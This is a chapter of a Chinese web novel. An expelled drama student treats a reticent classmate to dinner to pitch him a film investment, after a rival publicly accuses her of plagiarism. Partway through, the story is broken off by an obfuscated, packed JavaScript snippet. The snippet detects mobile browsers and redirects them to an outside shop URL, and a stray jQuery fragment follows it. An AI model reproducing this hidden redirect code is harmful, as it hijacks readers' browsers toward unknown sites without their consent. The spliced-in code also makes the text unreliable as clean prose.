毛灵珊这一嗓子如同在剧场里扔了个地雷。

    炸得整个剧场人仰马翻。

    刚刚环绕着洛昔年的嘈杂,瞬间转移到了祝余的身上。

    “祝余师姐被开除了?”

    “为什么啊?之前不还说以这位的本事,以后必定是杰出校友来得?”

    “不对啊!你们抓不住重点吗?祝余夸洛昔年有天赋的话是假的,是为了从他那儿骗钱!”

    “嘶……那这就说得通了!我刚刚都快怀疑自己的眼力了,看来我眼睛还是没问题的。”

    刚刚饱受打击的男主演更是大声:“哎,洛昔年你听到没,什么表演天赋什么男主角,那都是奔着你钱来的,你要是傻子你就信她,跟她去吧,啊?”

    男二号赶忙接上:“哎,万一人家就是人傻钱多,就是想找个人来骗他玩过家家呢?这不是你情我愿的事儿嘛,你一片好心人家还觉得你碍事儿呢。”

    感受着自己出现引发的风波,毛灵珊志得意满。

    她马上用更大的声音说:“你们不知道吧,祝余这次之所以被开除,是因为抄袭了我正在创作的剧本,被我抓了个正着。学校为了惩戒她品德败坏学术不端,才把她开除了的!她这次能抄袭我,难道以前不能抄袭别人?什么未来的杰出校友,不过是个抄袭惯犯!”

    此话一出,众人更是哗然。

    搞艺术创作的,抄袭这种行径是人人深恶痛绝,恨不能钉死在耻辱柱上的。

    要是别人那也就罢了,这可是祝余啊。

    “毛灵珊你个臭不要脸的贱人,今儿我要不抽你,算我没种!”

    江梦鱼脾气本就暴躁,看见毛灵珊第一反应就想上去收拾她了。

    但又碍于洛昔年在旁边,她生怕给人家留下不好的印象,害得祝余的投资没了着落,这才一直强忍着怒气没理会毛灵珊。

    谁知此人堪称鲜廉寡耻,做了坏事非但一点都不心虚,甚至还敢再三跑来挑衅。

    又是叫嚷祝余想要骗钱,又是大肆宣扬祝余剧作抄袭。

    事已至此,江梦鱼估摸着忽悠洛昔年投资的事情八成是要黄了。

    新仇加旧恨,她嗷一嗓子,就冲了上去。

    江梦鱼含恨而来,心里的愤怒和火气全在手里,毛灵珊根本不是她的对手,才挣扎了没几下,就被江梦鱼扯着头发,摁在椅背上猛抽巴掌。

    “啪啪啪!”

    好大的动静,好清脆的耳光声。

    祝余眼看江梦鱼的气也出的差不多了,这才上前把她拦了下来。

    她抱着还想扑过去继续打的江梦鱼:“再打就要出事了,你得好好毕业。咱俩人不能连一张大学毕业证都凑不出来啊。出口恶气就好,为这么个东西搭上毕业证,不划算。”

    “……也对。”

    “洛同学,不好意思,我的私事耽搁了你的时间。”

    祝余拉住江梦鱼以后,转身给洛昔年道歉。

    她原本打算是大家坐在一起吃吃喝喝,把氛围搞得熟悉,她用三寸不烂之舌给洛昔年画个饼,等他吃下去之后,再把自己被学校退学,但此事实属诬陷的事情告知对方。

    此人上辈子退圈后,能在商圈里获得斐然成就,他的商业嗅觉必然非常敏锐。

    她相信,洛昔年在听完自己关于这个项目的规划和分析之后,不可能看不出其中的巨大钱景。

    她要的就是一个能讲给对方听的机会。

    现在看来,这个机会怕是没了。

    不过,来都来了嘛,洛昔年也还没来得及甩脸子走人,她就不能浪费这次机会,最起码不能在对方心里留下一个骗子的印象。

    “首先,我确实是被学校开除了。学校在接收到毛灵珊所谓的‘人证物证’以后,违规剥夺了我申辩陈述的机会,直接将我开除学籍了。”

    “不给申辩,直接开除?”

    洛昔年看着祝余,轻声问:“那你抄袭了吗?”

    “我没有。”

    “哦。”

    洛昔年意义不明地哦了一声,转身就走。

    祝余有些无奈地把舌尖的话又咽了下去,看来今晚回去得再挖一挖脑子,看看能不能再挖个上辈子认识的阔佬。

    眼看洛昔年扔下祝余走人,刚刚还在哭喊咒骂江祝二人的毛灵珊得意了。

    不枉费她跟踪祝余一下午,也不枉费她今天连挨两顿打,想来陆小姐得知了她的功劳以后,她明年顺利留京进入广电总局的事情应该就妥了!

    一想到自己未来前程似锦,而祝余却跌落泥潭,毛灵珊只觉得神清气爽,心情好得快要飘起来了。

    “毛灵珊,你爸妈起早贪黑卖包子,不是为了让你给别人当狗的。”

    祝余轻轻的一句话,就把刚刚飘起来的毛灵珊打落在地。

    毛灵珊瞪大了双眼,神情扭曲,顶一头乱糟糟的头发和红肿的双颊,看上去像个可怜的疯子。

    “你胡说什么!”

    “你干什么用这种眼神看着我?”

    “祝余,搞搞清楚好不好,你被开除了,没有未来的是你,你凭什么敢用这种眼神看我!”

    毛灵珊像是一条被踩到尾巴的败犬,声音越来越大,神情却越来越瑟缩。

    “那个人是不是再三告诫过你,绝不许暴露出她的存在?怎么办,如果她知道你不小心把她暴露给我知道了,给你的那些许诺,她还愿意兑现吗?”

    “你怎……”

    毛灵珊一把捂住了嘴,把舌尖的话咽了下去。

    祝余:“不想功亏一篑,给立刻给我滚。”

    毛灵珊恨恨地瞪了一眼祝余,心中惊疑不定,只好尽力安慰自己:不管祝余到底是真有项目,还是编瞎话骗洛昔年的骗,我都给她搅黄了,没有功劳出口恶气也是好的。

    脑海中的念头还没转完,就看见原本已经走出去的洛昔年又回来了。

    他走到祝余身边,问她:“不走?”

    已经接受忽悠计划失败的祝余:“?”

    洛昔年有些疑惑:“不是说要去东来顺?”

    “啊……对对对!”

    祝余这才反应过来,刚刚洛昔年的那个哦字,不是委婉的拒绝,而是表达听到了且话题告一段落的意思。

    人家抬脚就走,是用行动表示该进行下一步的意思。

    一想到此人雷厉风行地走到半道儿,发现说好请客吃饭的人没跟上,又一头雾水地折返回来询问的样子,祝余的嘴角有点压不住。

    好家伙,怎么能有人寡言到这种地步。

    “我们走吧。”

    祝余发现,这次洛昔年是等到她往前走了,才抬脚跟着一起走。

    洛昔年是真的不爱说话,过来馆子的这一路上,江梦鱼和祝余叽叽喳喳了一路,除非话题扔到他手边儿上了,他才会接住,简短的回个两句,从来没有主动说过话。

    话多如江梦鱼都放弃再给此人抛话题,她不喜欢这种性格的人,总觉太过端着,太装逼,很不适合深交。

    她有些兴奋的说起刚刚离开时,礼堂里的那一幕:“哇,你不晓得,当时整个礼堂都安静下来了,所有人都好像被掐住脖子的鸡,尤其是毛灵珊,脸色青青紫紫,感觉她一张嘴就能吐一地的血。”

    一想到毛灵珊吃瘪,江梦鱼就开心:“就着她那副快被气死的表情,我今天

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750339|209406||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    能多吃两碗肉。”

    “那还得多谢洛同学给我解围呀。”

    祝余没有放弃跟洛昔年社交。

    她毕竟多活了二十年,完全看得出来,这种极致的沉默寡言不是装逼,而是纯粹的不知道该说什么。

    按照后世那些人总结出来的性格分类来看,洛昔年就是典型的超绝i人,究极社恐。

    果然,她话里提起洛昔年,刚刚落座的人下颌就有些绷紧。

    一副有些苦恼应不应该回答的模样。

    祝余发现,此人长了一双极好的眼睛。

    也许真如老话儿说的那样,寡言之人大多长着一双会说话的眼睛。

    而洛昔年,便是此中的佼佼者。

    他的眼睛十分清澈,眼白还沾着一点点婴儿才有的蓝色,愈发显得黑白分明。

    睫毛纤长并不卷曲,显得有些锋利,浓密的睫毛勾勒出他漂亮的眼睛,像是一抹弧度优美的眼线。

    最重要的是,他的眼睛真的会说话。

    譬如此刻,祝余就从他的眼睛里看出来,他大约是在想:【要不要说不客气?不说的话好像不礼貌,可如果说了,搞得自己好像做了什么帮助到别人的事情一样,显得很不要脸。】

    “为了感谢洛同学今天给我解围。”祝余把菜单递给洛昔年:“就由洛同学来点菜吧?”

    一来是请客吃饭,当然要客人先来点菜。

    二来是祝余想着他社恐,怕是有什么忌口都不会说,还不如让他自己来点。

    没想到,洛昔年接过菜单以后,第一次主动开口,问的第一句话就是:“有什么忌口吗?”

    “我没有忌口,啥都吃,你看着随便点就行。”

    “我也是。”江梦鱼举手。

    尽管如此,洛昔年还是避开内脏和口味独特的菜肴,点了两道很普通大众的菜,就把菜单送回祝余的手里。

    不贵,两道菜的价格都是最低那一档。

    江梦鱼虽然是个急脾气,但着实是个细心的人。

    她看了看菜价,再看了看祝余洗到发白的衬衫和牛仔裤,把装逼犯的标签从洛昔年的身上给划掉了。

    “再来三瓶五星,要冰镇的,这天气吃铜锅涮肉,再喝点凉浸浸的啤酒,那叫一个舒坦。”

    “再来两罐健力宝,洛同学开车过来的,不能喝酒。”

    不一会儿,服务员就把菜上齐了,铜锅里的汤也沸腾开来,祝余连忙招呼着洛昔年用餐。

    “咱们不来那些虚的,这个点儿你肯定饿了,酒足饭饱再说正事儿。”

    上台表演当天是不许吃饱饭的,洛昔年上一顿正经饭还是早上,中午就只垫吧了四个白煮蛋,年纪轻轻的大小伙子这会儿早饿的前胸贴后背了。

    他借着夹肉的动作,不着痕迹地看了一眼祝余。

    说着赶紧吃饭的人,并没有自己吃,而是拿着公筷在给锅里下肉。一半下在江梦鱼那边,一半下在他这边,他只需要筷子一探,就能夹到煮好的羊肉。

    没有讨好,也没有谄媚。

    动作神情都很自然,就像是照顾其他人是理所应当的事情一样。

    饭吃的差不多了,见洛昔年搁筷子了,祝余这才开始进入今天的正题。

    “洛同学我先给你讲讲我手里的这个影视项目?”

    “我想知道,这个影视项目是单纯需要我出演。”

    一顿饭下来,洛昔年冷白的肌肤被热气熏染上两分血色,这层淡淡的粉意削弱了他身上的那股子冷淡,整个人看着柔和许多。

    可说出来的话却直白到了冷硬的地步:“还是以出演为饵,真正目的是让我出钱投资?”